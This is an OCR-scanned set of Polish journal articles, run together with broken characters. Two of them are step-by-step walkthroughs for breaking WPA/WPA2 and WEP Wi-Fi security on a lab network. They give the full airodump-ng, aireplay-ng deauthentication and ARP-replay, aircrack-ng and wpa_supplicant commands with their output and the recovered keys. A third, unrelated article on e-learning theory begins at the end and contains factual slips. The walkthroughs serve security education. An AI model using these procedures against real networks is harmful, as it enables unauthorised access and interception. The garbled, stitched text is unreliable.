$g generowane w oparciu o proces potaczenia sieciowego podobnie jak w proto-
kole TCP? sygnaty SYN SYN/ACK ACK. Hasto gtéwne jest uzywane do wyge-
nerowania glownego klucza. Z niego generowane sa poszczeg6lne klucze sesji.
Jest to niewatpliwie duza zaleta ze wzgledu na to, iz nie jest eksponowany sam
klucz glowny, a dziatanie wykonywane jest jedynie na jego odpowiednio prze-
ksztalconych wariacjach. Klucz sesji obliczany jest w ranach czterech etapow
polaczenia.

AP wysyta do klienta losowg liczbe. Klucz sesji jest tworzony na bazie ad-
resoOw MAC klienta AP oraz liczb losowych. W obecnym stanie klient posiada
klucz sesji. Wysyta on liczbe losowa do AP, ktory w identyczny sposob oblicza
Klucze sesji klienta. Liczby losowe jako podstawa obliczania procesu wyznacza-
nia kluczy sa wysytane tekstem otwartym, poniewaz do wyliczenia kluczy se-
syjnych potrzebne sg jeszcze poufne informacje znane tylko stronom zamierza-
jacym nawigza¢ komunikacje. Komunikat klienta zabezpieczony jest przez kon-
trolg integralnosci MIC (Message Integrity Check) oparta na kluczu sesji. Po
obliczeniu kluczy sesyjnych jest wigc mozliwa weryfikacja poprawnosci MIC,
co jest Scisle zwigzane z pochodzeniem komunikatu z zaufanej strony. Z kolei
AP udostepnia klientowi klucz grupowy, a on potwierdza z kolei ten komunikat,
co stanowi potwierdzenie poprawnosci posiadania kluczy. Klucz grupowy jest
wykorzystywany w ramkach rozgtoszeniowych typu BEACON w protokole
802.11. W tym standardzie do zapewnienia poufno$ci integralnosci i uwierzytel-
nienia zapewniono dwa standardy TKIP Temporary Key Integrity Protocol oraz
CCMP Counter Mode Chaining Message Authentication Code Protocol. Zaleca
si¢ stosowanie tego drugiego rozwigzania opartego na szyfrowaniu AES za 128-
bitowym kluczem. Metoda TKIP byta stosowana przejsciowo jako zwigkszenie

2 A.S. Tanenbaum, D.J. Wetherall, Sieci komputerowe...; B. Komar, Administracja sieci
TCP/IP dla kazdego, Helion, Gliwice 2000; K.R. Fall, W.R. Stevens, TCP/IP od...
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dotychczasowo rozwigzania szyfrowania WEP. Jednak zaréwno jedna, jak i druga
metoda nie jest do konca bezpieczna, CO przedstawia ponizszy artykut.

2. Omijanie zabezpieczenia WPA/WPA2

Do przeprowadzenia ponizszego doswiadczenia wykorzystano system ope-
racyjny Linux®.

Po przelaczeniu karty w tryb monitora za pomocg polecenia airodump-ng
nalezy przejrze¢ aktywne punkty dostgpowe znajdujace si¢ w zasiggu badanego
obszaru. W tym momencie nalezy zadecydowa¢ o wyborze AP i zapisac jego
parametry takie jak MAC adres, czgstotliwo$¢, na ktorej pracuje/kanal/, MAC
adresy przytaczonych do niego klientow, jak i opcjonalnie nazwe¢ rozglaszanej
sieci essid. Zebrane informacje pozwola na skonstruowanie polecenia airodump-
ng ponownie, jednak z ukierunkowaniem na wybrane urzadzenie oraz zapis ak-
tywnej transmisji na dysku.

root@bt:~# airodump-ng --bssid 00:0E:2E:F9:96:C8 —--channel
11 --write WPAWrite monO

CH 11 ][ Elapsed: 2 mins ][ 2013-12-04 13:10 ][ WPA
handshake: 00:0E:2E:F9:96:C8

BSSID PWR RXQ Beacons #Data, #/s CH MB
ENC CIPHER AUTH ESSID

00:0E:2E:F9:96:C8 -3 100 1032 344 1 11 54e
WPA TKIP PSK labte

BSSID STATION PWR Rate Lost
Frames Probe

00:0E:2E:F9:96:C8 (C4:85:08:3D:8A:42 -6 le- 2e 0
54

Rysunek 1. Wynik dzialania polecenia airodump-ng i przechwycenie etapu uwierzytelnienia

W wyniku dziatania tego polecenia utworzono plik na dysku z przechwy-
cong transmisjg danych. Jednak najistotniejsze jest w tym przypadku pozyska-
nie zapisu czteroetapowego uwierzytelnienia polgczenia, gdyz ono bedzie
uzywane do proby odgadnigcia hasta. Reszta zapisanej informacji z punktu
widzenia uzyskania dostepu nie jest istotna. Informacja o tym, ze zostata taka
informacja pozyskana, pojawi si¢ w prawym gornym rogu ekranu na monitorze
jak na rysunku 2 i ma nastepujaca postat WPA handshake: 00:0E:2E:F9:96:CS.
Oczywiscie adres przytaczonego urzadzenia MAC jest inny dla kazdego urza-
dzenia.

®B. Komar, Administracja...
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2.1. Rozlaczenie klienta

Jezeli proces pozyskiwania uwierzytelnienia rozpoczat si¢ juz, gdy klient byt
podiaczony do AP mozna poczekaé, az potaczy si¢ ponownie generujac oczekiwany
przez nas etap uwierzytelnienia. Inng skuteczniejsza i szybsza drogg jest zainicjowa-
nie na nim ponownego podigczenia wydajac polecenie aireplay-ng, ktore wymusi
bezwarunkowe roztaczenie klientow podtaczonych do AP do ktorego sygnat rozia-
czenia zostanie wystany. OczywiScie roztaczony klient bedzie probowat ponownie
nawigzac potaczenie inicjujac oczekiwany proces uwierzytelnienia.

aireplay—-ng --deauth 1 -a 00:0E:2E:F9:96:C8 monO

root@bt:~# aireplay-ng --deauth 1 -a 00:0E:2E:F9:96:C8 mon0
13:09:42 Waiting for beacon frame (BSSID:
00:0E:2E:F9:96:C8) on channel 11

NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).

13:09:42 Sending DeAuth to broadcast - BSSID:
[00:0E:2E:F9:96:C8]

root@bt:~# aireplay-ng --deauth 1 -a 00:0E:2E:F9:96:C8 mon0
13:09:52 Waiting for beacon frame (BSSID:
00:0E:2E:F9:96:C8) on channel 11

NB: this attack is more effective when targeting

a connected wireless client (-c <client's mac>).

13:09:52 Sending DeAuth to broadcast -- BSSID:
[00:0E:2E:F9:96:C8]

Rysunek 2. Efekt dzialania polecenia aireplay-ng

2.2. Slownikowe wyszukiwanie hasta

Po uzyskaniu procesu uwierzytelnienia nalezy skorzysta¢ z polecenia
aircrack-ng w celu wyszukania hasta odpowiadajacego procesowi uwierzytel-
niania. Oczywiscie do wykonania tej operacji niezbedne jest posiadanie pliku ze
stownikiem przyktadowych hasel, na ktorym aircrack. bedzie si¢ opierat wyszu-
kujac pasujacego rozwigzania. Proces ten jest dosy¢ czasochtonny i bezposred-
nio skorelowany z wielko$cia stownika, jak i mozliwo$ciami obliczeniowymi
maszyny na ktdrej jest przeprowadzana operacja. Aby zainicjowaé proces wy-
szukiwania hasta nalezy wykona¢ polecenie:

root@bt:~# aircrack-ng WPAWrite-05.cap -w
/pentest/passwords/wordlists/darkcOde.lst

gdzie:
— WPAWrite-05.cap plik z przechwyconym etapem uwierzyteniania,
— Ipentest/passwords/wordlists/darkcOde.Ist — $ciezka dostgpu do pliku

zawierajacego stownik.
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I~ v Tx root@bt: ~
File Edit View Terminal Help

Aircrack-ng 1.1 r2178
00] 896 keys tested (2291.89 k/s)
KEY<FOUND*{ 012i63nic ]

Master Key

Transient Key

EAPOL HMAC
e I

Rysunek 3. Wynik dzialania polecenia aircrack-ng i wyszukane hasto

3. Podlgczanie do AP

Kolejnym krokiem jest wykorzystanie znalezionego hasta do potaczenia
z punktem dostepowym. W tym celu nalezy wygenerowac specjalny plik
wpa_supplicant.conf., niezb¢dny do procesu potaczenia z AP.

Aby taki plik utworzy¢, mozna w dowolnym edytorze wypisa¢ niezbedne
dane do jego utworzenia lub wygenerowac go automatycznie za pomoca polece-
nia wpa_passphrase.

Ponizej przedstawiono przyktad wykorzystania tego polecenia w celu wy-
generowania pliku. Jak wida¢, do jego utworzenia niezbe¢dna sg dwa parametry.
Jednym z nich jest nazwa essid punku dostgpowego, a drugim hasto, ktore zosta-
1o pozyskane w wyniku wykonania poprzednich punktow ¢wiczenia.

root@bt:~# wpa passphrase labtest 012i63nic >
/etc/wpa_ supplicant.conf
- zawartosc pliku dostepowego
root@bt:~# cat /etc/wpa supplicant.conf
network={
ssid="labtest"
#psk="012i63nic"
psk=5baff2e11a03c086f13e0cl3b246eb7abedllb66fefe974bc2
42a4438a9df2005 }

Rysunek 4. Generowanie pliku polaczeniowego wpa_supllicant.conf
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Generowanie potagczenia jest ostatnim krokiem i powoduje uzyskanie dostgpu
klienta do wybranego AP. Aby tego dokona¢, nalezy wykorzysta¢ polecenie
wpa_supplicant. Ponizej przedstawiono sposdb uzycia polecenia wykorzystu-
jacego utworzony w poprzednim kroku plik potgczeniowy wpa_supplicant.conf.

root@bt:~# wpa supplicant -Dwext -iwlan0O -c
/etc/wpa_supplicant.conf

WPS-AP-AVAILABLE

WPS-AP-AVAILABLE

Trying to associate with 00:0e:2e:£9:96:c8 (SSID='labtest'
freq=2462 MHz)

WPS-AP-AVAILABLE

Associated with 00:0e:2e:£9:96:c8

WPA: Key negotiation completed with 00:0e:2e:£9:96:c8 [PTK=TKIP
GTK=TKIP]

CTRL-EVENT-CONNECTED - Connection to 00:0e:2e:£9:96:c8
completed (auth) [id=0 id str=]

Rysunek 5. Rezultat dzialania polecenia generujacego polaczenie

WhioskKi

Korzystanie z zabezpieczenia WPA w znaczacy sposob podnosi poziom bez-
pieczenstwa w porownaniu z poprzednim poziomem rozwigzania zabezpieczenia,
czyli WEP. Co prawda dla codziennych uzytkownikéw zastosowanie jednego roz-
wigzania, czyli WEP lub WPA/WPA2 to tylko inna roznica w nazwie, jednak
W rozumieniu o0so6b zajmujacych si¢ zawodowo problemami bezpieczenstwa to
ogromna roznica. Jesli w przypadku zastosowania WEP zlamanie zabezpieczenia to
tylko problem zebrania odpowiedniej ilosci pakietow, czyli w praktyce kazde
hasto da si¢ zlamaé, to w przypadku =zastosowania rozwigzania typu
WPA/WPA2 do zlamania hasta moze zosta¢ tylko uzyte narzedzie oparte na
technologii opartej na ataku stownikowym. Oznacza to tyle, ze po przechwyce-
niu pakietow uwierzytelnienia zawierajagcych hasto znalezienie jego jest tylko
wtedy mozliwe, kiedy hasto wystepuje w stowniku. W przypadku gdy hasto nie
wystepuje w stowniku, to nie jest mozliwe do ztamania. Stad w przypadku za-
bezpieczenia WPA/WPA2 zabezpieczenie jest tak dobre jak dobre jest hasto,
czyli na tyle unikalne, ze nie wystepuje w zasobach stownikowych, a te w nie-
ktorych wersjach sg niezwykle rozbudowane.

* * %

Autor przedstawia publikacje w celach edukacyjnych dla oséb zainteresowanych
zagadnieniami bezpieczenstwa, jak i 0sob administrujacych sieciami komputerowymi
W celu uswiadomienia im niedoskonato$ci stosowanych rozwigzan.

Autor nie ponosi odpowiedzialnosci za wykorzystywanie przedstawionej wiedzy do
celéw niezgodnych z prawem.
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Streszczenie
Celem artykulu jest wykazanie niedoskonatosci protokotu zabezpieczajacego WEP
stosowanych w sieciach WiFi. Pokazano, jak za pomoca ogolnie dostgpnych narz¢dzi mozna
ztamac hasto dostepowe.

Summary

The purpose of this article is to show imperfections WEP security protocol used in WiFi net-
works. Shown how to use widely available tools can crack a password. In using this type of securi-
ty password power has no special meaning, because the appropriate amount of captured packets
allows for finding the encryption key.

Wstep

Korzystanie z zasobow sieciowych z wykorzystaniem technologii bez-
przewodowej opartej na protokole 802.11 to juz codzienny standard. Uzyt-
kownicy korzystajacy z takiego rozwigzania korzystajg z ushug, jakie daje
wspotczesny Internet. Dostep do wielu takich ustug, wymaga podania osobistych
danych jak login czy hasto. Czy sa one odpowiednio dobrze chronione, aby
nasze dane nie wyciekly na zewnatrz? Powszechnie dostgpne sa routery
oferujace miedzy innymi protokot WEP*. Czy wybbr takiego zabezpieczenia to
dobry wybor? Jakie zagrozenia za sobg niesie wykorzystanie takiego
rozwigzania? Przeciez fale elektromagnetyczne wykorzystywane do komuni-
kacji sg ogolnodostepne w odlegto$ci kilku/kilkunastu metréw od komuni-
kujacych si¢ urzadzen. Latwo jest monitorowaé ruch powietrzny z wy-
korzystaniem zwyktej karty sieciowej pracujacej w trybie monitora. Zapewne

! A.S. Tanenbaum, D.J. Wetherall, Sieci komputerowe, wyd. V, Helion, Gliwice 2012; K.R.
Fall, W.R. Stevens, TCP/IP od srodka. Protokoty, wyd. 11, Helion, Gliwice 2013.
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nikt nie chciatby, aby obca osoba przejeta w taki sposéb login i hasto np. do
banku, czy do serwera pocztowego, ani tez samej przesytanej tresci. Poniewaz
samej komunikacji nie da si¢ w zaden sposob zabezpieczy¢, dlatego jednym ze
sposobdw na bezpieczng transmisj¢ jest szyfrowanie danych. Ponizej oméwiono
szyfrowanie WEP stosowane w tej technologii. Jednocze$nie wykazano, Ze
w przypadku metod stosowanych w dalszej cze$ci artykutu jest mozliwe
ztamanie takiego zabezpieczenia.

1. Szyfrowanie WEP /Wired Equivalent Privacy/

Protokot IEEE 802.11 WEP? zapewnia uwierzytelnianie i szyfrowanie danych
pomiedzy hostem, a punktem dostgpowym AP wykorzystujac przy tym wspolny
40-bitowy klucz symetryczny znany zaroéwno jednej, jak i drugiej stronie.
W celu odkodowania wiadomosci odbiorca musi uzy¢ identycznego strumienia
do tego, ktory zostal uzyty do zaszyfrowania wiadomosci. Podczas szyfrowania
metodg RC4 zostaje wykorzystana operacja roznicy symetrycznej XOR.
Uzgadnianie wartosci klucza nastgpuje bez wykorzystania metody transmisyjnej.
Nie ma zatem potrzeby uzgadniania definicji algorytmu zarzadzania kluczem
szyfrujacym. Do tego klucza dolaczany jest 24-bitowy wektor IV. Za pomocs tej
pary wektorow jest tworzony 64-bitowy klucz, ktory jest wykorzystywany do
szyfrowania pojedynczej ramki. Proces uwierzytelniania odbywa si¢ poprzez
zazadanie uwierzytelnienia hosta przez AP. Ten odpowiada na zadanie
uwierzytelnienia 128-bitowym jednorazowym identyfikatorem. Z kolei host
szyfruje identyfikator symetrycznym kluczem znanym réwniez AP. AP
odszyfrowuje wiadomos¢. Kazda wysytana ramka zawiera inna warto$¢ 1V, co
powoduje, ze szyfrowana jest innym 64-bitowym kluczem. Wartos¢ IV
dotagczana do ramki jest tekstem jawnym. Samo szyfrowanie przebiega na
obliczeniu 4-bajtowego kodu CRC?® z treici ramki i zaszyfrowaniu za pomoca
strumieniowego algorytmu RC4, ktory tworzy strumien z wykorzystaniem 64-
bitowych kluczy do zaszyfrowania kolejnych ramek i ich kodéw CRC
wykorzystujac do tego operacje XOR.

Stabos¢ szyfrowania WEP polega na tym, ze do szyfrowania z uzyciem
algorytmu RC4 64-bitowa warto$¢ klucza nie powinna by¢ wykorzystywana
wigcej niz 1 raz. Idea wykorzystujaca wykorzystanie algorytmu RC4 w
szyfrowaniu WEP zaktada, powoduje, ze tak nie jest. Dowiedziono, ze dla
wybranego klucza istnieje 2°24 niepowtarzalnych kluczy, a co za tym idzie
wystepuje 99% prawdopodobienstwo wystgpienia tego samego klucza w 12000

2 A.S. Tanenbaum, D.J. Wetherall, Sieci...
3B, Komar, Administracja sieci TCP/IP dla kazdego, Helion, Gliwice 2000; K.R. Fall, W.R.
Stevens, TCP/IP od...
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transmitowanych ramek, co przy obecnych przepustowosciach sieci jest
warto$ciami sekundowymi.

2. Omijanie zabezpieczenia wykorzystujacego protokot WEP

Stosujac ogdlnodostepne darmowe narzgdzia mozna przytaczy¢ si¢ do punk-
tu dostepowego stosujacego jako zabezpieczenie protokot WEP.

W tym przyktadzie do realizacji podanego nizej zadania wykorzystano sys-
tem operacyjny Linux”.

Aby zlokalizowa¢ taki AP nalezy przelaczy¢ tryb pracy karty sieciowej
W tryb monitor mode, a nastgpnie za pomoca polecenia airodump-ng przejrzeé
ruch sieciowy generowany przez urzadzenia wykorzystujace do komunikacji
protokot 802.11. Wynik dziatania polecenia pokazano na rysunku 1.

CH 1 ][ Elapsed: 5 mins ][ 2013-12-04 10:25

BSSID PWR Beacons #Data, #/s CH MB  ENC CIPHER AUTH ESSID
00:0E:2E:F9:96:C8 -51 18 2 0 11 54e WEP WEP labtest
F8:1A:67:EE:32:90 -41 539 27 0 6 54e. OPN Boski
Internet
00:0C:E6:00:1D:00 -51 35 24 0 6 54e. WPA TKIP MGT eduroam
5C:B5:24:08:70:FF =52 78 38 0 11 54 . WPA2 CCMP PSK Ups! Error!
DS
08:60:6E:BC:67:20 =57 84 9 0 11 54e WPA2 CCMP PSK WIiM-wlan
00:0C:E6:00:14:00 -62 59 268 0 6 54e. WPA TKIP MGT eduroam
00:19:E0:10:1C:40 -63 21 0 0 3 54 . WPA TKIP PSK Olimp
00:25:9C:4B:56:28 =63 18 171 0 1 54 WPA2 CCMP PSK sala 03
00:0C:42:23:C4:6E -72 3 0 0 5 54 . OPN
algo.radom.pl
08:86:3B:5D:C9:82 =72 2 0 0 1 54e WPA2 CCMP PSK PHINANCE
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 64:66:B3:F1:00:21 -63 0 -1 0 2
(not associated) 64:A7:69:85:12:DF -69 0 -1 o] 2 dom
F8:1A:67:EE:32:90 9C:4E:36:2F:7B:C4 -30 0 - 6e 0 35 Boski Internet
F8:1A:67:EE:32:90 90:A4:DE:77:21:59 -40 0 -1 0 27
F8:1A:67:EE:32:90 24:FD:52:F1:5E:E1 -61 lle- 1 0 18 Boski Internet
00:0C:E6:00:1D:00 00:13:02:4B:20:7C -47 0 -24e 0 3
00:0C:E6:00:1D:00 40:BO:FA:81:5D:CB -55 36e- 6 0 31
00:0C:E6:00:1D:00 04:46:65:D5:DD:DC =70 0 -1 0 13 1LT18i,eduroam
5C:B5:24:08:70:FF 64:27:37:A2:70:75 =56 0 -1 0 43 eduroam
00:0C:E6:00:14:00 78:1F:DB:EA:3A:29 -1 le- 0 0 226
00:0C:E6:00:14:00 1C:65:9D:53:EF:42 -73 5e- 1 0 38 eduroam
00:0C:E6:00:14:00 F8:DB:7F:98:A3:99 -60 0 - le 0 8 eduroam
00:19:E0:10:1C:40 64:70:02:78:CA:2D -60 0 -1 0 1
00:25:9C:4B:56:28 90:A4:DE:8C:76:5E -28 0 -36 282 47
00:25:9C:4B:56:28 20:54:76:23:F6:E6 -38 18 - 6 27 34
00:25:9C:4B:56:28 24:FD:52:EF:E5:44 -45 5 -36 225 62 sala 03
00:25:9C:4B:56:28 44:6D:57:83:B0:9A -45 0 -1 0 3

Rysunek 1. Wynik dzialania polecenia airodump-ng

4 C. Negus, Linux. Biblia. Ubuntu, Fedora, Debian i 15 innych dystrybucji, Helion, Gliwice
2012.
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Na szczeg6lng uwage zastuguje punkt dostepowy rozglaszajacy obecnos¢
sieci labtest, gdyz komunikacja z tym AP nastgpuje z uzyciem protokotu WEP.
Aby uzyska¢ wiecej informacji nalezy nieco zmodyfikowaé uzycie polecenia
airodump do postaci :

airodump-ng --bssid 00:0E:2E:F9:96:C8 --channel 11 --
write WEPWrite monO

— bssid identyfikuje punkt dostepowy uzywajac do tego adresu fizycznego
urzadzenia,

— channel 11 przetacza tryb pracy na kanal 11, czyli czestotliwos$¢ /wcezedniej
karta pracowala w trybie sickanym obstugujac wszystkie kanaty /tryby//,

— write — ta dyrektywa powoduje, Ze cata komunikacja jest zapisywana na dysku,
co pozwala na dalszg analize zawartos$ci tresci komunikacji, ktéra moze by¢
szczegolnie interesujgca w przypadku poznania klucza WEP. Znajomo$¢ tego
klucza pozwoli odszyfrowa¢ komunikacje. Do analizy przechwyconych
pakietow wygodnie jest uzywac narzedzia Wireshark.

root@bt:~# airodump-ng --bssid 00:0E:2E:F9:96:C8 --channel 11 --write
WEPWrite mon0

CH 11 ][ Elapsed: 3 mins ][ 2013-12-04 11:01

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER
AUTH ESSID

00:0E:2E:F9:96:C8 -51 0 1911 65582 369 11 54e WEP WEP

OPN labtest
BSSID STATION PWR Rate Lost Frames Probe

00:0E:2E:F9:96:C8 C4:85:08:3D:8A:42 0 le- 1 471 163755

Rysunek 2. Wynik dzialania polecenia airodump-ng z podlaczonym klientem

2.1. Reprodukcja dodatkowych pakietow

Do skutecznego odszukania hasta potrzebna jest odpowiednia ilo§¢ danych.
Nie mozna jednak okresli¢ jednoznacznie, ile pakietow jest niezbedne do tego
procesu. Jesli jest ona zbyt mata, poniewaz akurat klient nie korzysta zbyt
intensywnie z sieci, mozna za pomocg polecenia aireplay-ng wygenerowaé
dodatkowy ruch w sieci pobierajgc oryginalne przechwycone pakiety i wstrzy-
kujac je ponownie symulujgc odpowiedzi na zgdania ARP.

root@bt:~# aireplay-ng -3 -b 00:0E:2E:F9:96:C8 -h
C4:85:08:3D:8A:42 mon0
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— parametr -3 wystepujacy w poleceniu powoduje powtarzanie pakietow ARP,

— parametr —b pozwala na okre$lenia identyfikatora bssid sieci,

— parametr —a pozwala na okreslenie MAC adresu klienta, pod ktérego nalezy
si¢ podszy¢ generujac ruch ARP za pomoca polecenia aireplay-ng. Adres
klienta mozna zauwazy¢ na rysunku 2 pod nagtowkiem STATION.

X root@bt: ~

rI

Rysunek 3. Wstrzykiwanie pobranych pakietow ARP ponownie do sieci za
pomocg polecenia aireplay-ng

2.2. Zapis na dysku przechwyconych pakietéw

Rezultatem zastosowanego polecenia airodump jest pojawienie si¢ na dysku
plikéw z zapisem przechwyconej transmisji z wybranego punktu dostgpowego.
Pliki zapisane sa w kilku formatach gotowych od razu do wykorzystania przez
programy odnajdujace hasto. Do naszego zadania odpowiedni jest plik

WEPWrite-02.cap

root@bt:~# 1s
WEPart.docx
WEPart.odt
WEPlinksys-01

WEP*

.cap
WEPlinksys-01.
WEPlinksys-01.
WEPlinksys-01.

csv
kismet.csv

kismet.netxml

WEPWrite-01l.cap

root@bt:~#

WEPWrite-01.
WEPWrite-01.
WEPWrite-01.
WEPWrite-02.
WEPWrite-02.
WEPWrite-02.
WEPWrite-02.

csv
kismet.csv
kismet.netxml
cap

csv
kismet.csv
kismet.netxml

Rysunek 4. Wynik dzialania polecenia airodump-ng
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3. Ztamanie klucza szyfrowania

Majac zebrang odpowiednio duza liczbe pakietow mozna wykorzystaé
polecenie aircrack-ng do ztamania hasta. Wykorzystanie zebranych danych wraz
z poleceniem arirack-ng pozwoli na uruchomienie procesu poszukiwania klucza.

root@bt:~# aircrack-ng WEPWrite-02.cap

Gdy zebrana ilo$¢ danych zapisana w pliku WEPWrite-02.cap jest
wystarczajaca, nastepuje odnalezienie hasta.

Na rysunku 5 przedstawiono wynik dziatania polecenia, na ktorym jest
zaprezentowane szukane hasto.

A v X root@bt: ~
File Edit View Terminal Help
:~# aircrack-ng WEPWrite-82.cap
Opening WEPWrite-62.cap
Read 281655 packets.
# BSSID ESSID Encryption
1 00:0E:2E:F9:96:C8 labtessy EAPOLANERF(66713 Vs )

Choosing first network as target.

Opening WEPWrite-62.cap

Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 68936 ivs.
KEY FOUND! [ 61:62:63:64:65 ] (ASCII: abcde )
Decrypted correctly: 1680%

Rysunek 5. Wynik dzialania polecenia aricrack-ng.

Whnioski

Stosowanie zabezpieczania WEP w sieci bezprzewodowej nie zapewnia
bezpieczenstwa na oczekiwanym poziomie. Zebranie odpowiedniej liczby pakie-
tow transmisji pomig¢dzy stacjg klienckg a punktem dostgpowym nie wymaga
specjalnego wysitku, aby zapewni¢ sukces w zdobyciu hasta dostepowego. Wy-
starczy, aby intruz znajdowal si¢ w zasiggu dziatania sygnatu AP. Co gorsza,
znajomo$¢ hasta nie tylko pozwala na dostep do AP i zasobow sieciowych, do
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ktorych jest podlaczona, ale takze przejrzenie i analiz¢ transmitowanych tresci
zapisanych na dysku migdzy AP a klientem. OczywisScie zabezpieczenie spelnia
swojg rolg dla zwyktych uzytkownikow, jednak w przypadku oséb o podwyz-
szonych kwalifikacjach mozna mowi¢ o braku zabezpieczenia.

* * %

Autor przedstawia publikacj¢ w celach edukacyjnych dla osob zainteresowanych
zagadnieniami bezpieczenstwa, jak i 0sob administrujacych sieciami komputerowymi
W celu uswiadomienia im niedoskonatos$ci stosowanych rozwiazan.

Autor nie ponosi odpowiedzialno$ci za wykorzystywanie przedstawionej wiedzy do
celéw niezgodnych z prawem.
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Streszczenie

W artykule zostal przedstawiony zarys rozwoju koncepcji pedagogicznych XX i XXI wieku,
tj. teoria Shannona, behawioryzm, kognitywizm, konstruktywizm oraz konektywizm. Omoéwione
zostaly nie tylko teoretyczne wiadomosci z zakresu metodyki nauczania, ale przede wszystkim
konkretne problemy zwigzane z nauczaniem e-learningowym. W dzisiejszym §wiecie zdobyczy
elektronicznych wiedza stata si¢ cennym surowcem, a nauczanie stato si¢ wyzwaniem, ktdre moze
radykalnie zmieni¢ rzeczywisto$¢. Brak spojnej metodologii nauczania e-learningowego
w literaturze przedmiotu, wymusza tworzenie nowych teorii dydaktycznych wobec szybko zmie-
niajgcej si¢ rzeczywistosci. Pojawienie si¢ najnowszej koncepcji konektywizmu wprowadzito
pewne ozywienie w teoriach pedagogicznych XXI wieku.

Summary

The article presents an overview of pedagogical concepts’ development in 20th and 21st cen-
tury, i.e. the Shannon’s theory, as well as, the concepts of behaviorism, cognitivism, constructiv-
ism, and connectivism. Not only the theoretical methodology of teaching, but also specific prob-
lems related to the issue of e-learning have been discussed in this paper. In the contemporary
world of electronic achievements, knowledge constitutes a valuable resource. Simultaneously,
teaching has become a challenge that can change the reality in a radical way. The lack of a con-
sistent e-learning methodology developed in professional literature enforces the production of new
theories of teaching following the rapidly changing reality. The appearance of recent connectivity
concepts has refreshed the 2st century educational theories.

Wstep
Nauczanie elektroniczne funkcjonuje od wielu lat, jednak dopiero

w ostatnich dwéch dekadach XXI wieku mozemy mowié¢ o zrewolucjonizowa-
nym procesie uczenia — nauczania i dynamicznym rozwoju e-learningu. Obser-
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wujac obecne trendy w rozwoju technologicznym, nalezy przypuszczaé, ze kon-
cepcje pedagogiczne beda ewaluowaly w zawrotnym tempie. Najwickszym
przelomem w nauczaniu elektronicznym byto wprowadzenie na rynek iPodéw
i tabletow. Pierwsze proby wprowadzenia tabletow do powszechnego uzytku
przez firm¢ Microsoft pojawity si¢ juz w 1998 roku. Glownym powodem
wstrzymania tego procesu byto niezadowolenie Billa Gates'a z wygladu i funk-
cjonalnos$ci tego urzadzenia. Sytuacje wykorzystal Steve Jobs, przedstawiajac
w 2010 roku swo6j najnowszy tablet (iPod)*, ktéry odmienit $wiat juz na zawsze.
Steve Jobs mowige o iPodzie ,,more intimate than Iaptop”z, nie zdawal sobie
sprawy, ze bedzie to bardzo ,,0sobisty, bliski przyjaciel” nie tylko do zabawy,
ale rowniez, a moze przede wszystkim do nauki. Tak jak tablet jest esencja tra-
dycyjnego komputera, tak e-learning jest esencjg calego procesu ksztalcenia
(uczenia-nauczania). Granice tradycyjnej nauki zostaty przekroczone, co wymu-
silo tym samym zmiany w dydaktyce nauczania. Do tradycyjnej nauki zostaty
wlaczone procesy poznania, meta-poznania i elementy neurolingwistyki. Zmie-
niajace si¢ poglady na temat poznania i rOwnoczesny rozwdj nowoczesnych
technologii wymuszaja powstawanie nowych koncepcji psychologicznych doty-
czacych metod nauczania. Wspotczesna dydaktyka zawiera w sobie elementy
nie tylko behawioryzmu czy konstruktywizmu, ale przede wszystkim neurolin-
gwistyki i neurokognitywistyki. W centrum zainteresowania wspotczesnych
dydaktykow znajduje si¢ umyst ludzki i procesy, ktore w nim zachodzg. Dzisiej-
sza wiedza przedstawicieli neuronauk ma wigksze mozliwosci zbadania proce-
sow zachodzacych w mozgu i sprawdzenia, ktére jego struktury sa aktywne
w momencie wykonywania okre§lonych dziatan np. w procesie uczenia si¢
i poznawania $wiata. Nasz umyst inaczej pracuje podczas tradycyjnego uczenia
si¢ i inaczej, gdy korzystamy z mediow podczas uczenia si¢. Kontakt z urzagdze-
niem elektronicznym wymusza aktywowanie innych procesow w mozgu, niz
kontakt z nauczycielem (face to face).

W ostatnich latach mozemy zaobserwowac¢ bardzo intensywne zmiany
W procesie nauczania — uczenia si¢ — odejscie od tradycyjnego kontaktu z nau-
czycielem na rzecz pracy wilasnej, tj. nauczania elektronicznego. Wraz z rozwo-
jem technologicznym zmienia si¢ rownoczesnie forma przekazu informacji i tym
samym pojawiaja si¢ réozne podejscia psychologiczne. W tym miejscu zostanie
zaprezentowana ewolucja najwazniejszych pogladow pedagogicznych od beha-
wioryzmu do konektywizmu.

! Prezentacja odbyta sie 27.01.2013 r. w San Francisco.
2 more intimate than laptop — z ang. bardziej osobisty, bliski niz laptop [thum. wiasne].
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komputerowe
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rozgalezione

Programowanie

liniowe

informacji 1BM PC nauczajace

w MS-DOS Pu!ormyLMf
1940 1950 1960 1970 1980 1990 2000 3
Wykres 1. Wykres Z. Megera

Zrédto: Z. Meger, Podstawy e-learningu. Od Shannona do konstruktywizmu, ,,E-mentor”,
nr 4/2006, http://www.e-mentor.edu.pl/artykul/index/numer/16/id/325 (dostep 10.02.2014).

Przedstawiony wykres Z. Megera nie obejmuje najnowszej teorii pedagogicznej
tzw. konektywizmu, ktory zostal zapoczatkowany w 2004, wprowadzajac wiele
ozywienia do wspotczesnych teorii pedagogicznych. Ponizej zostang przedstawione
i krotko omowione poszczegdlne etapy rozwoju koncepcji pedagogicznych.

1. Teoria Shannona

Za pierwszy etap badan nad rozwojem koncepcji pedagogicznych uwaza sig¢
powszechnie tzw. teoric Claude E. Shannona®. Ten amerykanski matematyk
i inzynier, jako pierwszy stworzyl modele procesu komunikacyjnego, wykorzy-
stywane pozniej przez psychologéow. Warunkiem koniecznym do udanego pro-
cesu komunikacyjnego jest wolny od zakldcen przekaz informacji za pomocy
nadajnikow, kanalow etc. Komunikacja jest dla Shannona odbiorem informacji
od nadawcy, ktory korzysta z tego samego kodu i kanatlu transmisyjnego. Infor-
macje¢ definiuje Shannon jako matematycznie obliczalng wielko$¢ do opisu wia-
Sciwosci sygnatu i transmisji w systemach technicznych. W literaturze przed-
miotu nie znajdziemy zadnej teorii, ktora nie bazowataby na teorii Shannona.
Zasad¢ kodowania informacji przez nadawce i dekodowania jej przez odbiorce
zawiera kazdy model komunikacyjny. Teoria Shannona opisuje w sposdb mate-
matyczny zapis, transmisje 1 odbidr informacji. Mozemy zauwazy¢ tutaj dazenie
do pogodzenia dwodch sprzecznych celéw, mianowicie maksymalne kompreso-

8 C.E. Shannon, A Mathematical Theory of Cryptography, 1945; A Mathematical Theory of
